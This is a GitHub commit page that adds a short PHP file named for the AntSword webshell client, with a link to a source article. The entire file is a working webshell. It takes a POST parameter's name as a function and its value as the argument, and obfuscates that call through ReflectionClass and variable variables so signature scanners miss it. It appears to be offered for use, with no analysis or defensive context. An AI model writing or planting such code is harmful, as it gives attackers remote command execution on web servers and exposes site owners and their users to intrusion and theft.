Create AntSword_2021-03-06.php

from : https://xz.aliyun.com/t/9218
This commit is contained in:
tennc 2021-03-06 17:09:30 +08:00 committed by GitHub
parent 5ce21f94e4
commit db62a9c082
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -0,0 +1,26 @@
<?php
$s0;
$s1;
class Test1
{
public function __construct($para, $_value)
{
$para($_value);
}
}
$class1 = new ReflectionClass("Test1");
print_r($class1);
foreach (array('_POST') as $_request) {
foreach ($$_request as $_key=>$_value) {
for ($i=0;$i<1;$i++) {
${"s".$i} = $_key;
}
break;
}
}
$class2 = $class1->newInstance($s0, $_value);